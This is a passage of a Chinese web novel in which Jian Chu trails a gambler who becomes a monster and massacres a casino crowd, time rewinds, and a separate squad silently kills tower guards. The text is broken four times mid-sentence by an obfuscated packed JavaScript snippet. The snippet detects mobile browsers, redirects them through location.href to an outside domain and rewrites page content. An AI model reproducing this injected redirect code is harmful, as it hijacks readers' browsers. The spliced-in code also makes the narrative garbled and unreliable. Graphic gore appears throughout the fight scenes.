她腮帮子动了动，动作流畅地离开，还不忘锁上了大门。 窥视感如同附骨之疽，阴魂不散。突然降低的气温让简初打了个哆嗦，抓紧往药店赶去。墙角苍绿色的苔藓沿着墙缝往上生长，砖块缝隙的雨水蒸发得差不多，墙面的环形涂鸦比昨天清晰了一些，已经能看出来并不是一个规整的圆。 那股凉意不知在什么时候消失了，简初微微压着唇角，不动声色将衣服和钥匙一并交给了莫景。 男人的伤口已经被包扎好了，纱布隐约透出一点红色，但暂时没有继续扩大的趋势。莫景低声道过谢，和老板的丈夫一起把人扶了起来。 “先去我店里，马上又要下雨了。”陈素支着后门朝他们招手。 天色完全暗沉下来，风呼呼吹着，预示着一场暴雨即将来临。 简初跟着挤进小药店，扑面而来是淡淡的灰尘味，但很快血腥气就把一切味道压下，混合着微苦的药味，让人有种说不上来的晕眩。 “先让他躺椅子上吧，费劲。”陈素没好气地骂了一句，“自己想死就死外头，回来给人添堵呢。” 她这话不能算错，没了一只手，男人在接下来很长的时间里都需要照顾，本来家里就很拮据，这下莫景连打工的时间都受到了挤压。 按照往常，男人肯定要骂两句“多管闲事”，但此刻他仍然沉浸在与五千万“擦肩而过”的哀恸中，什么都听不见，只是半睁着眼，毫无焦距地注视着灰扑扑的天花板。 “我的钱……我没出千……” 这话听得陈素头疼，她翻了个白眼，把刚刚那叠钱塞给了莫景：“药费我都拿了，剩下的钱你收着，别给他。” 莫景坐在一旁的爬爬凳上，整个人蜷缩成一团，沉默着将钱攥在手里。 这样的画面让简初莫名烦躁，她眉头紧紧拧成“川”字，忍不住走出后门透了口气。 她本来只把这当做笑话看，但刚才的怪事让她下意识开始考虑那男人的话。 纸张上的字迹凭空消失，甚至影响到了自己的记忆，究竟是什么样的力量才能实现这样的效果。 简初难免想到也许是有异能者介入其中？但这样就意味着，男人那句“我知道怎么能赢”或许是真的。 有没有可能赌场做过手脚，而男人不知从哪里搞来了结果，不知收敛地赢下太多钱惹恼了背后的庄家，反被扣上“出千”的帽子。 而自己看到了那张纸，赌场势力必须确保她不会揭发一切。 如果赌场真和外头的势力有关，那他们一定能查到自己的身份。她并不是什么大人物，唯一能拿出手的就是靠上了联邦军校这棵大树。 现在确定自己没有发现异常，他们就收手了？ 这样似乎能说通，但总有哪里不太协调…… “那个，让你看笑话了。” 正当简初陷入沉思，身后突然传来有些沙哑的轻语。 “没必要跟我说这种话。”简初整理好表情转过头，看向垂头丧气的莫景。 尽管面上依旧是一派平静，但看见对方那副弱声弱气的模样，简初就有点没来由的烦躁。 她微微扬起下巴，视线越过莫景的头顶看向屋内的男人。他的断臂搁在胸前，嘴里仍在喃喃自语。 “我都知道的，我没有出千，把我的钱还给我……” 真是疯了。 简初确定这男人肯定知道什么内情，可心底却有道声音一直在劝阻她，不要试图从对方口中得到任何信息。 [不用管闲事，反正我很快就要走了。] [不，你不能一走了之，你得弄清发生了什么，否则……] “否则什么？” 莫景朝她投来疑惑的目光：“什么，你在跟我说话吗？” “……不，没什么。”简初揉了揉额角，深深叹了一口气。 这个地方是不是风水有问题，她感觉自己有点不正常了。 明明以前从来不会这样自言自语，甚至像精神分裂一样和自己对话，难道是最近压力太大了？ 尽管这样努力开解自己，但简初内心的沉重却没有散去一丝一毫，甚至还多了一点进入倒计时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101964|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的紧迫感。 后天上午她就要去集合了…… “他经常去赌钱么？”简初脚下一转，双手抱胸靠在窗边，这个角度药店里的人都看不见她。 莫景下意识往她身边靠了靠，不知不觉也进入了视线的死角：“嗯，几乎没赢过，赢了也是继续赌，然后又输光……” 甚至还欠了很多。 简初更觉得之前的猜测有道理，但其中还有几个点想不明白。 这男人并不像很有能量的人，没道理他能接触到庄家的内部消息，说句难听的，如果连他都知道了，那肯定有更多人在他之前拿到消息。 针对他做的局？这更没有必要了，他没有这个价值，而赌场也确实没有得到任何好处。 见简初迟迟没说话，莫景抿抿唇试图换个轻松点的话题：“你还有两天就要走了吧？” 简初含糊地应了一声：“他说出去挣钱，就是去赌场吗？” 从昨天的话来看，男人确实早就知道今天庄家的“出千结果”了，不过对于庄家来说，需要提前两天准备做手脚吗？而且他昨天晚上为什么偷偷回来，总不能是忘了纸上记录的东西吧？ 这个猜想粗看逻辑十分严密，但根本经不起仔细的推敲，又或者其中隐藏着她没发现的东西。 “那我还能住你家吗？” “啊？”莫景完全没想到话题会突然转到这里，只能懵懵地点头，“没事的，他现在也没心思管别的。” 两人不约而同看向药店里，男人已经吃过药，一旁的老板看上去耐心到了极限，额外附赠了一粒安眠药，终于让他闭上了喋喋不休的嘴。 头顶突然响起一声炸雷，不知何时已经累积起巨量的层云，看上去即将迎来一场大暴雨。狂风卷起巷子里的灰尘，迷得人有些睁不开眼。 趁着雨还没落下，几个人一起把他抬回了家，陈素满心忧虑，但又不能介入太多，只能嘱咐莫景有事就去药店找她。 简初坐在餐桌边，安静地看着莫景送别老板，又根据老板的嘱咐，坐在房间里等着给男人量体温。 刚刚帮着抬人的时候，简初就感觉他的体温并不高，应该并没有发烧，这么重的伤也算是个小奇迹了。 确认过体温，莫景忍不住松了口气，垂着眼地给人掖好被角，才关上房门走了出来。 “饿了吗，我做午饭。” “不算很饿。”简初摇摇头，但莫景并没有接受这个回答，依旧开始准备饭菜。 屋内，男人慢悠悠睁开了眼，他似乎感知不到身上的疼痛，就像一个健全的人，用断手支撑着身体坐起来，悄无声息地走下了床。 “你以后怎么打算，一直照顾他吗？”简初说着，脊背突然感受到一阵熟悉的阴凉，她下意识瞥了眼紧闭的房门，却并没有发现异样。 莫景切着菜摇摇头：“我不知道，我书念得不好，也没什么本事，不知道能做什么。” 简初第一直觉就是想反驳她，但又说不出理由来，一时两人都沉默下来。 一门之隔，男人悄悄将耳朵贴在门上，睁着空洞的眼仔细倾听外面的对话。 没有……被发现…… 太好了。 185. 镜中花（6） 房门的隔音很差，外面传来碗筷碰撞的声音，但并没有人继续说话。男人靠在门上听了好一会，才悄无声息地转过身。 刚刚的动作让他的伤口破溃，纱布里渗出鲜红的血迹，扩散开来染红了整个截面，但男人似乎感受不到疼痛，眼神在屋子里逡巡了片刻，走上前拉开了抽屉。 那叠泛黄的纸完好地摆在那，男人翻看了两下，眼中流露出刻骨的仇恨。 他要报复，他要报复所有人……瞧不起他的，陷害他的，通通都要去死！ …… 暴雨很快下了起来，直到晚上都没有减小的趋势，不过雷声倒没有一开始那么密集。 空气中的湿度直线上升，苦涩的泥土气息顺着门缝钻进来，屋内的墙面也开始凝结水珠。 这里的生活条件实在是很差，大部分人本来就没有什么夜生活，遇上这种天气就更没人出门了。 下午莫景去药店帮了会忙，简初也趁那段时间在附近逛了逛，她发现衔尾巷的人好像都不太愿意到外头去，甚至看到她往外走都会皱起眉头。 他们把巷子经营成了一个几乎独立的小社会。 一旁的莫景睡得很沉，发出轻微的鼾声，她今天很累了，精神上的疲惫要远超过□□。 头顶有雷声碾过，震得天花板都要塌下来，潮湿的空气让简初难以入眠，只能睁着眼细听隔壁房间的动静。 男人已经磨蹭了许久，他明显有意控制音量，只偶尔传来一点细微的动静。 塑料摩擦发生“唰唰”的轻响，紧接着橡胶的鞋底踩在地面上，“嘎叽嘎叽”向外走去。 锁舌轻轻咬上，他出门了。 这种天气，还受着这么重的伤，这是要去哪儿？ 简初脑中天人交战，两秒后一个鲤鱼打挺坐起身，顺手取下莫景的雨衣套在身上，悄无声息地跟了出去。 男人的脚步声没有完全走远，“啪嗒啪嗒”被暴雨声遮盖了大半，简初随着他迈步的频率跟上，两道脚步声几乎完全融合在一起。 她贴着墙根缓缓移动，巷子两侧的屋檐都很窄，几乎不能提供什么遮蔽，走出去不远，就有水顺着雨衣的缝隙流进来。 暴雨在地面砸出半人高的白雾，墙外的霓虹把雨线照得五光十色，微弱的反光提供了少到可怜的照明。简初保持着安全距离，很快就意识到男人究竟要前往何处。 赌场的牌子在雨幕中散发着红光，热烈喧嚣的气氛从偶尔打开的大门中涌出来。简初躲在拐角之后，伸手扒着墙壁往外看，下一秒却感受到掌心有奇怪的凸起。 她抹了把脸上，恨不得凑到墙面上才看见手底下是一个涂鸦，和之前见到的差不多，但此刻被大雨冲掉附着的泥土和杂质，露出了清晰的原貌。 是一条衔尾蛇。 它盘成一个圆润的环，咬住自己纤细的尾巴，眼睛被人用绿色的颜料涂抹，在漫射的红光中显得相当诡异。 这条巷子真是很执着于这个名字，连涂鸦都是。 “哟！看看是谁啊，这不是我们出千的老伙计，怎么手断了还来啊哈哈哈哈！” 猖狂的笑声穿透雨幕，简初小心翼翼从墙角探出脑袋，看见几个人聚集在赌场门口，嘲讽着穿黑色雨衣的男人。 整个赌场几乎没有地面建筑，除了一个形似地下通道入口的大门，最显眼的就是亮着红灯的招牌和一个雕像。 入口的大门上做了巨兽利齿的装饰，在暴雨中看着确实有几分唬人。 原来赌场是在地下。 “还有钱来吗，我看看，手真没啦！” 年轻人的语调阴阳怪气，凑过去在男人脸上吐了一口烟圈。 “哎呀，你现在不能抽烟吧，真是抱歉。”他嘻嘻哈哈的，“既然来了，要不跟我赌两把？” 一道闪电劈过云层，照亮了男人无比平静的面孔。 “好啊，我跟你赌。”他语气和平时全然不同，但这句话足够让在场所有人狂笑不已，自然无人在意他的异常。 “真有种啊，走走走！”年轻人伸手想要揽住他，但在摸到一手雨水时嫌恶地皱起眉。 简初躲在拐角的阴影里，看着他们推开门进去，内心不免犹豫。 现在还不知道里面是什么情况，她真的要跟上去吗？ 门口已经空无一人，与人等高的女神雕像安静垂眼注视着地面，她一手提着摆满筹码的金托盘，另一只手紧握着银质匕首，如果不是出现在赌场的门口，怕是会被当做什么正义之神。 要不在门口等等？ 或者进去看一眼，看一眼就走？ …… 赌场内部要闷热得多，烟味汗味混杂在一起，又被潮气捂着，发酵成了令人作呕的味道，不过赌徒们的心思都在输赢上，没人在意别的。 男人的出现引起了不少人的注意，大多数人还是专注于自己的赌桌，自然没什么人来注意简初这个生面孔，或者说，他们确信没人敢在这里闹事。 “老莫又来了？”一名管理人员迎上来，脸上堆着笑意，丝毫看不出昨天正是他们亲自砍掉了男人的手。 简初扯扯嘴角，在门边找了个人少的桌子，装作旁观新开的赌局。 “我来了。”男人压抑着内心的激动，声线有些颤抖。 周围的人哄笑开来，纷纷说着恭维他的话，但语气中的轻蔑丝毫不加遮掩，眼中更是流露出讥诮。 真是个疯子，手没了还要赌。 管理人员呲着牙笑：“不是我说啊，你现在还有钱吗，虽然昨天用你的手抵消了前账，但今天再来的话……难不成用昨天给你的医药费来赌？” 周围人笑得更大声了，他们的表情离奇地一致——大张着嘴几乎能看见鲜红的扁桃体，连发黄的牙齿都差不多一模一样。 “怪不得没把手安回去，钱都省下来赌啊！” 男人还套着他那件黑色雨衣，眼神直勾勾的：“我有东西赌的，就是不知道你们陪我玩不？” “玩！怎么不玩！” “那太好了。”老莫抬起头，露出激动到涨红的脸，“那就先把你们的命都交给我吧！” 片刻的沉默之后，人群爆发出更大的笑声。 “疯了吗？我们昨天可没打到你脑袋……”管理人员扬着下巴，笑出眼泪来，“还是说，你今天是来耍我……” 话还没说完，他就感觉心口一凉，有什么东西带着风穿过，紧接着是旋转的视线以及迟来的疼痛。 黑色骨刺从雨衣中冒出，一下戳穿了他的心脏。巨力将人顶起，猛然甩向发黄的水晶吊灯，尸体戳进吊灯的金属架中，“噼噼啪啪”和碎玻璃一起砸落在地，就连吊灯的电线也从天花板垂下，带着电火花在半空中晃来晃去。 下方的人被血肉扑了一身，甚至滴滴哒哒顺着发梢往下淌。 “一个。”老莫的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110270|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变得沙哑，和沉闷的雷声一同响起。 “啊啊啊——” 人群爆发惊呼，骨刺陡然飞出，一下穿透了好几个人的胸腹，他们被串在一起，手脚还在无力地扑腾着，下一秒却随着骨刺灵活的甩动，“啪啪啪”飞出去，糊满了赌场的墙壁。 周围的人终于被惨叫声惊扰，从赌桌上抬起了尊贵的脑袋。 “异种？！” “为什么中央城区会出现异种！！！” 回答他们的是拦腰切过的骨刀，断口处血液和脏器喷涌而出，将整个赌场染成血红的地狱。 [快跑！] [不能跑！] 简初大脑中有两个声音疯狂交战，硬生生让她僵在了原地。 “第十七个！”雨衣已经被凌乱尖锐的骨刺撑破，男人志得意满地看着全场的尸体，或是血肉，又或是蜂拥着想要逃离的人群，“都是……养分……嘻嘻嘻！” 他的笑声变得尖利，两条镰刀般的手臂在空中乱舞，可逃跑的人们已经开始互相踩踏，根本不需要他动手，就争先恐后地将别人的性命踩在脚下。 [不惜一切代价，撕碎他的心脏。] 这个念头在脑中浮现的瞬间，黑色的骨刀就带着凛冽的破空声，一路撒下稀碎的血肉，直直向简初砍来。 她一把撕掉碍事的雨衣，猛然翻过身后的赌桌，还没站稳就听见刺耳的金属碰撞声。简初下意识抱头在地上一滚，半扇赌桌就擦着她头顶飞过，卡死了逃跑的出口。 嘶，竟然还挺聪明？！ 简初已经没空去想自己的身手何时变得如此敏捷，怪物已经注意到她躲开了攻击，他现在还要留着一只胳膊对付其他人，如果等他解决完，自己就更没有胜算了。 不能拖。 简初下定决心，从裤腰里抽出一把匕首——这是她刚刚从门口雕像手中“借”来的，没想到真能派上用场。 但只是靠匕首，很难打得过这玩意啊…… 赌场中央的“人”已经看不出人形了，它的嘴唇变成长长的口器，不断吸食地面的血肉，简初可以清晰看到有东西顺着口器进入他的身体，紧接着它的“心脏”就会剧烈地鼓动一下。 心脏…… 她狼狈躲开怪物甩来的攻击，身上难免沾到地面上的血液，腥臭的气味环绕着，让人几欲呕吐。 吊灯的电线还在空中摇晃，完全吸引了简初的目光，她咬咬牙，反手又把匕首插回裤腰，一个助跑踩着不远处的赌桌高高跃起。 电线被猛然扯住，原本摇摇欲坠的吊灯整个掉下来，劈头盖脸砸中下方的怪物，简初如同使鞭子一样，猛地甩出电线，紧紧缠住了它。 怪物身上爆出刺目的电火花，但不到两秒，电线就伴随着它的怒吼整个崩开。 没发挥什么作用，但争取到了时间。 简初已经来到它的背后，举起了手中的匕首。 “嗤！” 两道声音几乎同时响起。 匕首深深没入怪物的心脏，刀尖从另一头穿出来，甚至连简初的手指都陷入一片泥泞的温热里，触碰到了什么硬硬的东西。 与此同时，黑色骨刀穿透了她的腹部，温热的鲜血从巨大的豁口涌出，滴滴答答落进满地血污中，疼痛开始侵蚀她的意识，眼前冒出大片黑色的马赛克。 简初一张嘴，口中就喷出汹涌的鲜血。 ……要死了吗？ 186. 镜中花（7） 不可以死在这里！ 汹涌的怒火填满简初的胸腔，有力量从头顶蔓延到四肢百骸，填充着因为血液流逝而变得无力的身躯。 她猛然向前用力，银质匕首的刀柄整个没入怪兽的胸腔，简初的手掌也全部探进温热的血肉之中，握住那颗还在跳动的心脏…… 中央的坚硬薄片。 简初不知道那是什么东西，它是一个长长的薄片，边缘参差不齐，但锐利到快将掌心的皮肤隔开。 它在掌心不断颤动，指节传来被切割的剧痛，但简初仍然不愿松开手。 “不！！！” 怪物口中清晰吼出这个字，骨刀猛然从简初身体里抽回——甚至在抽出时旋转了半圈，扩大了伤口。 “噗——” 血液从她口中、伤口喷涌而出，染红了怪物的半张脸。 眼前变得雾蒙蒙的，仿佛罩了一层模糊的滤镜，简初动了动深嵌在怪物血肉中的指尖，那个硬物已经快要完全脱离她的掌心。 [不要放手。] 疼痛被抛在脑后，简初咬紧牙关，又往前一步，想要再次握紧它。 可这一次，她的指尖顿住了，连同她整个躯体停在原地，无法前进也无法后退。 不仅是她，如果简初能够转动眼珠，看一看周围，就会发现整个赌场都被按下了暂停键。 活着的人们面容惊恐，甚至有人试图跳起来躲避怪物的攻击，可他此刻却完全悬浮在空中，就连发丝也高高飞起。 简初嘴边的鲜血欲滴未滴，就这么安静地挂在那，而已经坠落的血珠却圆润地停滞在空中。 她的眼睛也不能动了，但意识却十分清醒。 下一秒，所有事物开始倒退。 骨刀重新插进伤口，又再次抽出，而腹部的伤口却随着它的离去而收敛，直到完全消失。 简初的手指缓慢抽离怪物的心口，然后是刀柄、刀刃、再到刀尖。 伤口在她眼前消失。 时间……被逆转了？！ “咔哒！” 随着虚空中的一声轻响，怪物的身体仿佛一颗漏掉的气球，以肉眼可见的速度瘪了下去。 一道绿光从它的心口飞出，在空中打了个旋，猛然冲向头顶，在地表撞出一个巨大的窟窿。 暴雨灌入，瞬间冲淡了地面上的鲜血。 [追上！] “怎么追？！”简初咬紧牙关，冥冥之中，有什么催促着她抬起头，看向一直以来都被忽视的正上方。 暴雨落进眼中，但眼前的画面让她忘记了眨眼。 那是一片荡着水波的“镜面”，映照出她茫然的面孔，以及背后的景象。 画面里遍布沙砾，好像是一片广阔无垠的沙漠。 周围的所有如同墙皮一样剥脱，简初感觉到身体失重，无法控制地往天上漂浮而去，与镜面中的自己越来越近。 她顺从内心的指引伸出手，却毫无阻碍地穿透而过，从指尖到胳膊，再到腰和腿。 另一边的力量无法抗拒，穿透而过的瞬间，记忆和重力蜂拥而至，让她向下坠落。 …… 天亮了。 莫景醒来的时候没有看见人，只以为苍耳正在屋外透气，但直到她做好早饭，都没有等到人回来。 “奇怪，跑到哪儿去了？”她小声念叨着，盛了一份早餐，推开另一扇房门。 淡淡的霉味扑面而来，让人皱起眉头。 “待会还是开门透透气吧，先吃点……”莫景嘟囔了两句，抬头却只看见一张空荡荡的床铺。 人怎么……不见了？ 第六感告诉她发生了很不好的事情，但莫景现在无法思考，也没办法把两人的消失联系在一起，只能匆忙跑出门，看看能不能在附近找到人。 可刚刚拐了个弯，她就迎面撞上浩浩荡荡的一群人——说是浩浩荡荡，其实也就四五个，只不过因为巷子太窄，所以显得格外拥挤。 “陈姨？”她从中见到一张熟悉的面孔，“这是怎么了？” “小莫！”药店老板看见她，赶紧小跑过来，“说是赌场出事了，你这里没什么情况吧。” 这不过是一句下意识的、普通的关心。毕竟莫景那活爹刚被砍了手，而苍耳不过是个过路人，赌场出再大的事也不会牵扯到他们。 此时，陈素还没有意识到“赌场出事”这四个字，到底意味着什么。 “他们俩都不在家。”莫景有些焦虑地咬唇，“一大早没看见人，可能出去散步了吧。” “散步？”陈素皱起眉，“那小姑娘还能溜达，你爹乱跑什么？” 她心底升出不妙的预感，思考了两秒，立刻攥住莫景的手腕。 “既然这样，那你也跟着我去赌场看看！” “诶？我去做什么？”莫景有些抗拒，但是她哪里拗得过陈素，只能跟着对方小跑起来。 下了一夜暴雨，地面都是水洼和泥泞，但没多远，就有嘈杂的议论声越过巷子的围墙，一直传到她们的耳朵里。 “异种？！太可怕了吧？” “听说特战中心和研究所都派人来了，中央城区多少年没出过异种了啊！” “谁发现的，是不是说人都死光了？” “赌场换班发现的，说是早上发现门口的招牌没关，进去之后……里头全是尸体和碎肉，墙都刷红了。” “噫！别说了！” 陈素紧紧拉着莫景的手，从围观的人群中挤进来。赌场门口被几个穿着制服的人封锁着，莫景还是第一次在这里见到联邦官方的工作人员。 他们表情严肃，不断有人进出，赌场大门只是打开几秒，浓重的血腥气就从里头涌出来，离得近的几个人立刻脸色一白，跑到一边把隔夜饭都吐了出来。 “麻烦各位统计一下家中人员的失踪情况，尽快汇总到我这里。” 赌场里实在是太惨烈了，所有人的血肉混杂在一起，就连基因鉴定也很难迅速得到结果，最好的办法反而是直接统计失踪人员。 也许在其他地方这个方法没什么意义，但在这里……这里的居民轻易是不会到外头去的，外头的人也基本不会进来。 “这是什么意思？”莫景大脑一片空白，“我……父亲不见了，他在里面吗？” “还有……” 陈素赶紧捂住了她的嘴，满脸堆笑：“各位别听她的，一个小孩哪里懂，她爹昨天受了伤，最近肯定不会来赌场的，估计是去哪闲逛了，我们再去找找。” 她转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115289|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过头，故意骂了两句：“你这孩子，不确定的事不要乱说，这不是影响人家调查吗！” “哦……”莫景愣愣点头，眼神一直盯着赌场的大门，被陈素硬生生拖走了。 一路无言，直到回到药店关上门，陈素才语重心长：“出了这么大的事，你不要第一个冒头，他们问起来你又什么都不知道，这不是添乱嘛？我们等等再看，他们要是一直不回来……” “那个小姑娘被联邦军校录取了，不去报道的话肯定有人会查的，不用你们操心。”一旁的瘦小男人突然插了一嘴。 陈素无语地白了他一眼：“你叔说的也没错，而且你那活爹再怎么不靠谱，也不会冒着这么重的伤去赌钱，再说了夜里雨下得那么大……” “家里雨衣不见了。”莫景轻声开口，却如同重锤落在另外两人心头。 “两件雨衣都不见了。” 她愣愣抬起头，眼中的光彩熄灭了。 …… 直到深夜，莫景都没有等到有人回来。 墙外的霓虹把巷子的围墙照亮，头顶的峨眉月弯弯一轮，散发着柔和的光辉。 “哈哈哈哈哈！你追不到我！” 外头有小孩开心叫喊着跑过去，后头有好几个脚步追着笑声，直到远去。 莫景安静地坐在家门口的爬爬凳上，从屋里照出来的灯光把她的影子投在地上，远远走过来的陈素看到这一幕，内心涌起无限的怜惜。 “小莫。”她轻声喊了一句，结果眼见小姑娘一点反应都没有，只能走到跟前伸手拍拍莫景的脑袋，“怎么不回家？” 这个时间点，巷子里已经不会有人出门了，而同样的，已经过去一整天，没回来的人大概永远不会再回来了。 陈素对于老莫并没有什么好观感，说实话，如果那男人真的死了，小莫能被救助中心接收，反而会过得更好。但不论如何，此时此刻她都不能将这些话说出口。 “只是透透气。”莫景低声回应，“下午有人来家里找我了，说是……明天会接我去救助中心。” 闻言，陈素眼神亮了亮：“真的吗，那太好了，救助中心可比这里好多了。” 看到莫景平静的表情，陈素意识到自己的语气过于轻松了，正当她想要找补两句，却听见女孩轻声笑了笑。 “是啊，那里挺好的。” 莫景没说的是，特战中心的人还跟她说了别的事。 比如，那个男人确实死在了赌场，再比如……变成了异种。 “也许在某处被异种的卵鞘寄生了。” 那个工作人员是这么说的，但他们似乎并不打算将调查结果公开，这对莫景来说也不算坏事。 一旦公开，她将会受到相当多的非议和排挤，尽管这一切与她无关，但人性如此。 甚至她自己也是这样，因为害怕陈姨会讨厌自己，所以没有将这些告知对方。 所有来自旁人的关怀对于莫景来说都无比珍贵，因为太少了，少到只要一点温热，她就忍不住凑上去。 “哎，你走了我还有点孤单呢。”陈素笑着叹了口气，随即目光灼灼地看着她，“忘记这里吧，忘掉这里的一切，你该拥有新的生活。” “以后有空的话，记得回来看看。” 187. 镜中花（8） “真的出不去吗？” 傅遥伸手戳了戳面前的白色屏障，入手是柔软而富有弹性的触感，可不管用刀还是枪，都不能在上面留下任何痕迹。 他们已经到达天坑的边缘，周围的岩石上还有出发时留下的标记，也不知道驻地的人是否还在原地，或许也正在想办法救他们出去。 可现在连信号都连不上，哪怕双方只是“一墙之隔”。 “或许我们还是得回去看看？”林愿低声道，“这屏障是从塔顶冒出来的，正常来说那里会有解决的办法。” 傅遥知道她说的没错，最简单直接的方法就是解决一切异常的源头，可问题是现在他们只有三个人，战斗力很难说是充足的，更何况已经有人发现了他们，现在回头，绝对会面临一个守卫森严的营地。 之前袭击站点的异种人实力很强悍，如果来上一群，再加上被斯塔集团“遗落”的武器……那可是相当难缠。 但现在他们并没有更好的办法。 “回去是肯定的，不过……”傅遥深吸了一口气，“得换个路线。” 一小时之后。 三人沿着天坑边缘摸过去，硬生生绕过中心林立的建筑群，来到了黑塔的背面。 其实这里的建筑长得都差不多，那座塔外表看上去也是黑乎乎的，只能从它开门的方向分辨方向。 “坐标已经保存了。”傅燃操作完终端，轻声说。 虽然现在信号完全发送不出去，但这些珍贵的数据还是需要及时保存。 傅遥扒着边缘往下看，下面行走的人影几乎只有小拇指尖大：“果然……他们开始警戒了。” 不过正如她所料，异种人们是沿着他们当时逃离的方向探查，暂时没有考虑到后方的情况。 傅遥垂下眼，思索片刻还是从腰包里掏出一个非常细小的金属球，大概只有半个指甲盖大小。它甫一落地，就猛然弹出六条纤细的足肢——就像一只小跳蛛，飞快向前爬去，两三秒就完全消失在岩土堆里。 这是出发前，因思禾从研究所武备部里薅来的仿生设备，数量很少，还处于测试中，现在终于到了它发挥作用的时候了。 还有点舍不得呢。 林愿睁大眼，盯着“小蜘蛛”消失，乖觉地没有开口询问。 很快，傅遥的终端上就出现了雷达扫描的结果，那些黑色建筑似乎可以屏蔽信号，在生成的三维视图上呈现一个个不规则的黑斑，而建筑之外的异种人由近及远，一个不落地显示了出来。 大部队去抓他们仨了，剩下四个人守在黑塔门口，但里面的情况还不清楚。 经过的“小蜘蛛”对异种人进行了简单的战斗力评估，不过这个结果让傅遥有些犹豫。 “看上去威胁不大啊。”傅遥眉头紧蹙，不敢相信这个结果。 相比之下，她觉得是探测器有问题的可能性更大。 “可以动手。”傅燃垂眼，用面罩遮住了下半张脸，只露出一双黑亮的眼睛。 见傅遥看过来，他只是“随手”点了点自己的脸颊。 处于保密要求，中庭协会的几人都使用了随身设备进行量子修容，顾名思义，设备会在脸部周围形成视觉干扰，在合理的范围内细微调整外貌。 毕竟是假的，上手一摸就会露馅，所以不宜大幅度的改头换面，只要不被认出来就够了。 当然，用了设备就会面对能源问题，现在形势不明朗，还不知道要在这天坑里逗留多久，只能尽量节省能源，以备不时之需。 “保险起见，我们一起行动，不要分开。”傅遥收起终端，轻声叮嘱。 总共就三个人，再分开就是削弱战斗力，被各个击破这种愚蠢的事情是不可以发生的。 “大部队暂时不会回头，我们先解决门口四个人，然后一起进塔，林愿你殿后，站位尽量靠近门口，方便看见外面的情况，如果有人回来我们要尽快撤离。”傅遥表情严肃，“动手的时候快准狠，不要发出声音惊动里面的人，明白？” 林愿用力点点头。 “至于你……”傅遥又转了个头，“进塔之后，第一时间解决能看见的所有人，有一个算一个，完全解除他们的战斗力，必要时候可以下杀手。” 傅燃倒是蹙起眉头：“不打算从他们嘴里问点什么吗？” “现在不是时候。”傅遥眼神冷凝，“一切以自身安全为重。” 行动方案并不需要很复杂，尤其是现在这样，他们互相只有彼此可以依靠。 “走了。” 确认好位置，三道黑影悄无声息顺着建筑的阴影窜过去。脚下的沙石还微微湿润，很容易留下鲜明的脚印，但现在这并不重要，所有经过的位置他们都不会再来第二次。 黑塔越来越近，傅燃心里也越来越没底。 他从未有过这种感觉，塔里有什么吸引着他，却又推拒着他，总之是相当复杂的情感，但现在他只能努力保持理性思考。 …… “到底是怎么回事，我有点害怕。” 守在黑塔门前的四人面容并不相似，但表情却是一致的焦虑。尽管已经“活了”很久，但他们也从来没见过头顶的白色屏障。 以往抬头就是天空，一碧如洗的、电闪雷鸣的……而这样入眼大片的纯白，以前从未有过。 更重要的是…… 这两天“祷音”响了太多次，以往就算是面对异种潮，也不会出现这样高频次的“死亡”。 甚至有人永远死去了，这不是一个好兆头。 “木然他们抓到的那个人，真的解决了吗？”有人颤颤巍巍开口。 立刻有人骂他：“你在怀疑什么，大人都说她被神明带走了，你不相信大人，还是不相信……” “我没有！” 不信神明这个锅太重了，他背不起。 “行了，你们俩别在这扯了，好好看着，别被人……” 出声打断的人看上去地位要高一些，他一开口其他人都老老实实垂下头，一副逆来顺受的模样。 “赫，咳咳！” 不过这次他还没说完，就好像被口水呛到，发出剧烈的咳嗽，有液体随着呼吸在嗓子眼里咕噜作响。那三人终于感觉不对，抬起头却只看见他两手捂住脖子，试图阻止鲜血从中喷涌。 惊恐的表情刚刚出现在几人脸上，就有冰凉的东西贴着颈部掠过，紧随而来的是被毒虫蛰咬的刺痛和仿若溺水的窒息。 傅遥随手甩掉刀刃的鲜血，迅速确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128717|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 